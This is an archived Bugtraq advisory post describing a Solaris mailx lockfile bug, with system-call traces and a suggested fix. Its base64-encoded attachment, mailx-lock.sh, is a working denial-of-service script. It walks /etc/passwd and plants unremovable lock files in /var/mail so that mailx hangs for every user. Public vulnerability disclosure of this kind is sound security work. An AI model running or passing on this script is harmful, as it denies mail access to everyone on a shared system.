[18380] in bugtraq

home help back first fref pref prev next nref lref last post

Solaris mailx(1) lockfile bug

daemon@ATHENA.MIT.EDU (optyx)
Tue Jan 2 12:37:26 2001

MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="0-581003570-978207137=:25690"
Message-ID:  <Pine.BSO.4.21.0012301204210.25690-200000@pr0n.newhackcity.net>
Date:         Sat, 30 Dec 2000 12:12:17 -0800
Reply-To: optyx <optyx@UBERHAX0R.NET>
From: optyx <optyx@UBERHAX0R.NET>
To: BUGTRAQ@SECURITYFOCUS.COM

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--0-581003570-978207137=:25690
Content-Type: TEXT/PLAIN; charset=US-ASCII

mailx(1) bug:
	when mailx is run it creates a lockfile in /var/mail and links it
	to /var/mail/username.lock

	open("/var/mail/rootSxa4Mv", O_RDWR|O_CREAT|O_EXCL, 0600) = 4
	link("/var/mail/rootSxa4Mv", "/var/mail/root.lock") = 0

	if the file /var/mail/username.lock exists and it can delete the
	file, mailx will hang for a while then exit, deleting the
	/var/mail/username.lock file

	if the file /var/mail/username.lock exists and cannot be deleted,
	mailx will hang and not exit.  the user can control-C out of
	mailx.

an example shell script is attached.  to fix this rm /var/mail/*.lock.

-Optyx, Uberhax0r Communications
http://www.uberhax0r.net - leeter than dog

--0-581003570-978207137=:25690
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="mailx-lock.sh"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.BSO.4.21.0012301212170.25690@pr0n.newhackcity.net>
Content-Description:
Content-Disposition: attachment; filename="mailx-lock.sh"

IyEvYmluL3NoDQojIFNvbGFyaXMgbWFpbHgoMSkgdXNlcm5hbWUubG9jayBw
cm9vZiBvZiB0aGVvcnkNCiMgbWFrZXMgbWFpbHggbm90IHdvcmsgZm9yIGFs
bCB1c2VycyBleGNlcHQNCiMgdGhvc2UgdGhhdCBjYW4gZXJhc2UgdGhlIGxv
Y2tmaWxlDQojIGV2ZW4gc28gbWFpbHggd2lsbCBoYW5nIGZvciBhIGxvbmcg
dGltZSANCiMgVGVzdGVkIG9uIFNvbGFyaXMgMi42LCA3LCA4DQojIGJ5IE9w
dHl4IDxvcHR5eEB1YmVyaGF4MHIubmV0Pg0KIyBodHRwOi8vd3d3LnViZXJo
YXgwci5uZXQNCmVjaG8gIm1haWx4LWxvY2sgYnkgb3B0eXguIGh0dHA6Ly93
d3cudWJlcmhheDByLm5ldCINCmZvciB4IGluIGBjYXQgL2V0Yy9wYXNzd2Qg
fCBjdXQgLWQnOicgLWYxYDtkbw0KdG91Y2ggL3Zhci9tYWlsLyR4LmxvY2sN
CmNobW9kIDAgL3Zhci9tYWlsLyR4LmxvY2sNCmRvbmUNCg==
--0-581003570-978207137=:25690--

home help back first fref pref prev next nref lref last post